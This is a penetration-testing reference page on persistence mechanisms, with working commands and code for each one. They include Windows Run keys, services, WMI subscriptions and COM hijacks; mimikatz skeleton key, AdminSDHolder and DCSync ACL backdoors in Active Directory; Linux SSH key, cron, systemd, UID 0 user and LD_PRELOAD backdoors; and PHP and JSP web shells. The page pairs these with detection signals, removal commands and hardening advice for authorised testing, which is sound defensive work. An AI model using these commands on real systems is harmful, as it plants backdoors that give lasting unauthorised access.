Persistence Techniques
Persistence is a durability question before it is a stealth question: choose the mechanism that survives the event the objective has to survive, then accept the artifact it leaves.
Danger
What Survives What
Three events decide the choice. A reboot tests whether something re-reads the mechanism automatically; a password change tests whether it depends on a rotating secret; a rebuild tests whether the state is on the host at all — and only directory-side persistence passes that one.
Every mechanism leaves one artifact, and most are a single line in an Autoruns diff.
| Mechanism | Reboot | Password change | Host rebuild | Artifact left |
|---|---|---|---|---|
| Registry Run key | Yes | Yes | No | Value under Run/RunOnce plus the payload file |
| Startup folder | Yes | Yes | No | A file or .lnk in the Startup path — nothing in the registry |
| Scheduled task | Yes | Yes | No | Task XML in System32\Tasks + registry key + 4698 |
| Windows service | Yes | Yes | No | 7045 at install, then a Services registry key |
| WMI subscription | Yes | Yes | No | Filter, consumer and binding objects in root\subscription |
| COM hijack (HKCU) | Yes | Yes | No | A per-user CLSID key shadowing the machine one |
| Skeleton key | No | Yes | No | None on disk — an LSASS patch, so nothing to diff |
| AdminSDHolder ACE | Yes | Yes | Yes | An ACE on AdminSDHolder, copied to every protected account hourly |
| DSRM network logon | Yes | Yes | No | One Lsa registry value; the DSRM password rarely rotates |
| DCSync ACE on domain root | Yes | Yes | Yes | Replication rights held by an account that is not a DC |
SSH authorized_keys |
Yes | Yes | No | The key line and its fingerprint in sshd accepted-publickey logs |
| Cron entry | Yes | Yes | No | Crontab or a file in /etc/cron.d — journal records the run |
| systemd unit | Yes | Yes | No | Unit file + symlink in *.wants; no package owns it |
| Second UID 0 account | Yes | Partial | No | A second uid=0 line in /etc/passwd |
| Web shell | Yes | Yes | Until redeploy | A file in the webroot plus POSTs to it in the access log |
| Golden ticket | Yes | Until krbtgt ×2 | Yes | Nothing on the host — every use is a TGT with an anomalous lifetime |
Windows User-Level Persistence
No admin needed, and no use if nobody logs in: these fire in one user's context and need the payload somewhere that user can write — the first thing an EDR rule checks.
Registry Run Keys
HKCU fires at that user's logon, HKLM at any logon and needs admin. Trivial
to write and trivial to enumerate — a mechanism of last resort where a baseline exists.
# HKCU Run Keys (current user)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\Users\Public\payload.exe"
# PowerShell
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Update" -Value "C:\Users\Public\payload.exe"
# Other Run locations
# HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
# HKLM\Software\Microsoft\Windows\CurrentVersion\Run (requires admin)
# HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceStartup Folder
The same trigger with no registry footprint: Explorer runs what it finds at logon, and a single shortcut is the easiest mechanism on the page to remove again.
# User startup folder
copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
# All users startup (requires admin)
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
# Create shortcut
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.lnk")
$Shortcut.TargetPath = "C:\Users\Public\payload.exe"
$Shortcut.Save()Scheduled Tasks (User)
The most durable user-level option, because the trigger is yours to choose and the Task Scheduler runs it whether or not anyone is at the console.
# Create scheduled task
schtasks /create /tn "OneDrive Update" /tr "C:\Users\Public\payload.exe" /sc onlogon
# PowerShell scheduled task
$Action = New-ScheduledTaskAction -Execute "C:\Users\Public\payload.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "OneDrive Update" -Action $Action -Trigger $Trigger
# Daily trigger
$Trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -TaskName "Maintenance" -Action $Action -Trigger $TriggerWindows System-Level Persistence
System-level mechanisms run before anyone logs in, in a privileged context. That is more reliable and much louder: installing a service is one of the highest-signal events on an endpoint.
Windows Services
An automatic service starts at boot as LocalSystem. The artifact is the
Services key and one 7045 at install — many SOCs alert on any 7045 that a deployment
tool did not create.
# Create service
sc create "WinHelpSvc" binpath= "C:\ProgramData\WinHelp\svc.exe" start= auto
# Modify existing service
sc config servicename binpath= "C:\malicious.exe"
# PowerShell
New-Service -Name "WinUpdate" -BinaryPathName "C:\Windows\payload.exe" -DisplayName "Windows Update Service" -StartupType Automatic
Start-Service -Name "WinUpdate"WMI Event Subscription
Three objects in root\subscription — filter, consumer, binding — which WMI recompiles
at boot. Nothing runs until the filter's condition is met, so it is the quietest admin-level option,
and all three objects are queryable.
# Create WMI Event Filter
$FilterArgs = @{
Name = 'WinUpdate'
EventNameSpace = 'root\CimV2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
}
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $FilterArgs
# Create Consumer (execute payload)
$ConsumerArgs = @{
Name = 'WinUpdate'
CommandLineTemplate = 'C:\Windows\System32\cmd.exe /c C:\Users\Public\payload.exe'
}
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
# Bind Filter to Consumer
$BindingArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $BindingArgsDLL Search Order Hijacking
Execution rather than persistence on its own — it becomes persistence when the hijacked application starts at logon. The artifact is a DLL where the loader finds it before the real one.
# Find vulnerable applications
# Applications that load DLLs from writable paths
# Use Process Monitor to find:
# 1. NAME NOT FOUND results for DLL loads
# 2. Check if path is writable
# Common targets:
# - Software update utilities
# - Third-party applications
# - Custom enterprise applications
# Place malicious DLL in writable PATH location
# or application directoryCOM Object Hijacking
HKCU\Software\Classes\CLSID shadows HKLM for that user, so re-registering an
existing CLSID loads your DLL instead — no admin, and a per-user key for a machine-wide object.
# Find COM objects loaded by explorer
# HKCU\Software\Classes\CLSID\
# Example: Hijack a scheduled task COM handler
$CLSID = "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path $CLSID -Force
New-Item -Path "$CLSID\InprocServer32" -Force
Set-ItemProperty -Path "$CLSID\InprocServer32" -Name "(Default)" -Value "C:\malicious.dll"Active Directory Persistence
The only group that survives a rebuild, because the state is in the directory rather than on a disk — and all of it is visible to anyone who reads the right attribute or ACL.
Skeleton Key
An LSASS patch on a DC that accepts a master password for any account: it survives every password reset and dies at reboot. With nothing on disk, it is found by integrity checks and by a logon no password should have produced.
# Inject skeleton key into LSASS (patch DC memory)
# Default password: "mimikatz"
mimikatz # privilege::debug
mimikatz # misc::skeleton
# Now authenticate to any account with "mimikatz"
# Requires DC restart to remove
# Does NOT persist across rebootsAdminSDHolder Abuse
SDProp copies the AdminSDHolder ACL onto every protected account hourly, so an ACE added there is re-applied even if someone removes it from the account you targeted. That re-propagation is both the mechanism and the tell.
# AdminSDHolder is applied to protected groups every 60 min
# Add ACE to AdminSDHolder, propagates to protected accounts
# PowerShell - Add user to AdminSDHolder
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
$AdminSDHolder = "AD:\CN=AdminSDHolder,CN=System,DC=domain,DC=com"
$ACL = Get-Acl $AdminSDHolder
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"GenericAll",
"Allow"
)
$ACL.AddAccessRule($ACE)
Set-Acl $AdminSDHolder $ACL
# Protected groups: Domain Admins, Enterprise Admins, Schema Admins, etc.DSRM Backdoor
The DSRM password is set at promotion and almost never rotated.
DsrmAdminLogonBehavior set to 2 lets that account authenticate over the network, turning
a break-glass secret into a durable local-admin logon on the DC.
# Enable DSRM account for network logon
# Directory Services Restore Mode password set during DC promotion
# Check DSRM registry
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior
# Enable network logon (requires admin on DC)
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2
# Now can use DSRM password for:
# Administrator@dc01 (local admin, not domain)
sekurlsa::pth /domain:dc01 /user:Administrator /ntlm:DSRM_NTLM_HASHSecurity Descriptor Modification
Granting replication rights to a normal account is the most durable option of all: the account keeps its ordinary appearance and the rights survive password rotation. DCSync itself is taught in 06d; this is the persistence half.
# Add DCSync rights to user
Import-Module ActiveDirectory
$UserSID = (Get-ADUser attacker).SID
# Get domain root
$Domain = Get-ADDomain
$DomainDN = $Domain.DistinguishedName
# Grant DCSync rights (Replicating Directory Changes + All)
$ACL = Get-Acl "AD:\$DomainDN"
$ACE1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"ExtendedRight",
"Allow",
[GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes
)
$ACE2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$UserSID,
"ExtendedRight",
"Allow",
[GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes-All
)
$ACL.AddAccessRule($ACE1)
$ACL.AddAccessRule($ACE2)
Set-Acl "AD:\$DomainDN" $ACLLinux Persistence
There is no service registry, so every mechanism below is a file in a directory something reads automatically — and therefore a file-integrity question, not an event-log one.
SSH Keys
A public key needs no password, so it survives every rotation and is invisible to password policy.
The artifact is the key line and its fingerprint in sshd's accepted-publickey log, which
records use.
# Add SSH key to root
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Add to all users
for user in $(ls /home/); do
mkdir -p /home/$user/.ssh
echo "ssh-rsa AAAA..." >> /home/$user/.ssh/authorized_keys
chown -R $user:$user /home/$user/.ssh
doneCron Jobs
Survives reboot and runs as its owner, with no unit to enable. A job pointing at /tmp or
a script with no package behind it is the signal, and /etc/cron.d is easier to forget
than the root crontab.
# Root crontab
(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/beacon.sh") | crontab -
# System cron
echo "*/5 * * * * root /tmp/beacon.sh" >> /etc/crontab
# Cron directories
echo '#!/bin/bash
/tmp/beacon.sh' > /etc/cron.daily/update
chmod +x /etc/cron.daily/updateSystemd Service
systemctl enable creates the symlink that starts the unit at boot, and
Restart=always means killing the process is not removal.
# Create service file
cat > /etc/systemd/system/update.service << EOF
[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/opt/beacon
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
EOF
# Enable and start
systemctl daemon-reload
systemctl enable update.service
systemctl start update.serviceBackdoor User
Crude but durable — and one awk from being found. A password rotation locks it out
unless you also leave a key, so use it to prove the control fails, not as a long-lived mechanism.
# Add user with root privileges
useradd -o -u 0 -g 0 -M -d /root -s /bin/bash sysadmin
echo "sysadmin:P@ssw0rd123" | chpasswd
# Hide from /etc/passwd (add to bottom, some parsers stop early)
# Or use uid > 65000 to hide from some toolsLD_PRELOAD Hijacking
/etc/ld.so.preload is read for every binary on the system, so the library listed there
runs in every new process — persistence with no service, cron entry or login. On most distributions
the file should not exist at all.
# Create malicious shared library
cat > /tmp/evil.c << EOF
#include <stdio.h>
#include <stdlib.h>
void _init() {
system("/tmp/beacon.sh");
}
EOF
gcc -shared -fPIC -nostartfiles -o /usr/local/lib/libevil.so /tmp/evil.c
echo "/usr/local/lib/libevil.so" >> /etc/ld.so.preloadWeb Server Persistence
Web Shells
Survives reboot, needs no credentials, and dies only when the application is redeployed from source — so it is right against a hand-managed server and wrong against a nightly pipeline. The artifact is the file plus POSTs to it.
# PHP webshell
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; system($_REQUEST['cmd']); } ?>
# ASP.NET webshell - see documentation for full syntax
# Uses Page_Load handler with Request["cmd"] parameter
# JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>Tracking and Cleanup
The tracker is a deliverable: host, exact location, account, time created, the artefact it leaves and the command that removes it. If a mechanism cannot be described precisely enough to be removed, it should not go in — and the same row that records the location is what you hand the defender, because the removal command and the detection signal describe the same object from two sides.
Danger
Detection & Cleanup Reference
One row per mechanism: what it leaves behind, what fires when it runs, and how it comes out. Read the artefact column first — it is the one the client's file-integrity or registry baseline can see, and it usually exists before any event does.
| Mechanism | Artefact / where it lives | Detection signal | Removal |
|---|---|---|---|
| Registry Run key | HKCU\...\Run\Update |
Sysmon 13 (Registry Value Set) | reg delete "HKCU\...\Run" /v Update /f |
| Startup folder | %APPDATA%\...\Startup\update.lnk |
Sysmon 11 (File Create) — rare in a managed estate, so alert on all of it | Delete the shortcut |
| Scheduled task | Task XML in System32\Tasks + 4698 |
4698 / 4699 / 4702 — a task whose action points at a user-writable binary | schtasks /delete /tn "OneDrive Update" /f |
| Windows service | Services registry key + 7045 at install |
7045 — any install that is not from the deployment tooling | sc stop WinHelpSvc && sc delete WinHelpSvc |
| WMI subscription | Filter, consumer and binding in root\subscription |
Sysmon 19/20/21, 5857–5861; inventory the namespace, do not rely on telemetry alone | Remove the filter, consumer and binding objects |
| COM hijack (HKCU) | A per-user CLSID key shadowing the machine one | Sysmon 13 — a per-user registration for a machine-wide object | Delete the HKCU CLSID key |
| Skeleton key | Nothing on disk — an LSASS patch | 4624 for a logon no known password could produce, plus LSASS integrity on DCs | Reboot the DC |
| AdminSDHolder ACE | CN=AdminSDHolder,CN=System |
5136 / 4662 — an ACE whose trustee is an ordinary user; SDProp re-applies it hourly | Remove the ACE, then confirm it does not return |
| DSRM network logon | One Lsa registry value; the password rarely rotates |
4624 on a DC as its local Administrator, or DsrmAdminLogonBehavior not 0 |
Set DsrmAdminLogonBehavior back to 0, then rotate the DSRM password |
| DCSync rights | Domain root ACL | 4662 with the replication GUIDs, held or used by anything that is not a DC | Remove both DS-Replication ACEs and verify with 4662 |
| Golden / Diamond ticket | Nothing on the host — every use is a TGT | 4768 / 4769 with an anomalous lifetime, a missing PAC or a non-existent account | Rotate krbtgt twice with replication in between |
SSH authorized_keys |
A key line plus its fingerprint in sshd logs |
sshd accepted-publickey events for a key no one recognises |
Remove the line; confirm the fingerprint no longer logs in |
| Cron entry | /etc/cron.d or a crontab; the journal records each run |
auditd on the cron directories; package ownership is the cheapest query | rm /etc/cron.daily/update |
| systemd unit | Unit file + symlink in *.wants; no package owns it |
auditd / AIDE on /etc/systemd/system |
systemctl disable --now update.service, then remove the unit |
| Second UID 0 account | A second uid=0 line in /etc/passwd |
Package DB and /etc/passwd diff — a root-equivalent account nobody created |
userdel the account and its /etc/shadow entry |
| Web shell | A file in the webroot plus POSTs in the access log | A new file in the webroot; repeated POSTs to a path with no matching route | Delete the file, then check for siblings |
Evidence Collection
Artefact register: Host, exact location (registry path, task name, DN, file path), account it runs as, and the time it was created.
Survival proof: The test that justifies the mechanism: a reboot, a password change, or a rebuild — whichever the objective named, not all three.
Detection signal: The event or artefact the client’s tooling would have seen. A persistence finding without a detection path is a complaint, not a finding.
Removal command: The exact command, and its output showing the artefact gone.
CVSS range: Local persistence: 6.5–7.8 · directory-side persistence (DCSync rights, AdminSDHolder): 8.8–9.0.
False Positive Identification
- A Run key from the vendor: Updaters and licence agents write these constantly. Compare against the software inventory before treating a value as yours.
- A task with a familiar name: Task names are chosen by whoever created the task. Match on the action path and the author, not the name.
- A per-user CLSID registration: Office and browser installers create these. The tell is a machine-wide object being shadowed for one user, not the key existing.
- A second uid 0 account: Some images ship one (containers, recovery users). Check the package database and creation time before calling it a backdoor.
- A web shell that is not a shell: A file under the webroot that returns 200 may be a leftover upload or a test harness. Confirm it executes a command you chose.
- A service that reappears after deletion: Pending file operations and a reboot can leave the service entry visible. Verify after the reboot before reporting a failed cleanup.
Testing Checklist
Before installing anything
- ☐ Confirm the objective authorises persistence, and for how long it must survive
- ☐ Write the tracker row first: host, location, account, removal command
- ☐ Decide which single event the mechanism must survive — reboot, password change or rebuild
After installing it
- ☐ Prove the mechanism fires: run the payload once and show the execution
- ☐ Run the survival test you named, once
- ☐ Capture the artefact (registry export, file listing, ACL) as evidence
- ☐ Remove it with the recorded command and confirm the artefact is absent
- ☐ If it must stay for a later phase, set an explicit removal date with the client
Remediation & Hardening
Make the artefact rare
- • Baseline Autoruns, scheduled tasks, services and WMI subscriptions so a new entry has something to differ from
- • Alert on 7045 (service install) and 4698 (task creation) outside the deployment tooling
- • Enable Sysmon 13 for registry writes and 19/20/21 for WMI subscription changes
Make the directory hostile
- • Audit AdminSDHolder and the domain-root ACL for non-DC replication rights
- • Rotate the DSRM password on every DC after any domain-level compromise, and keep DsrmAdminLogonBehavior at 0
- • Tier 0 the directory so that a workstation cannot reach the objects these mechanisms need
Make cleanup provable
- • Require the tracker row before the mechanism goes in, not after the finding is written
- • Attach the removal output to the finding so the client can verify independently
- • Schedule the removal date in the engagement plan, not in someone’s memory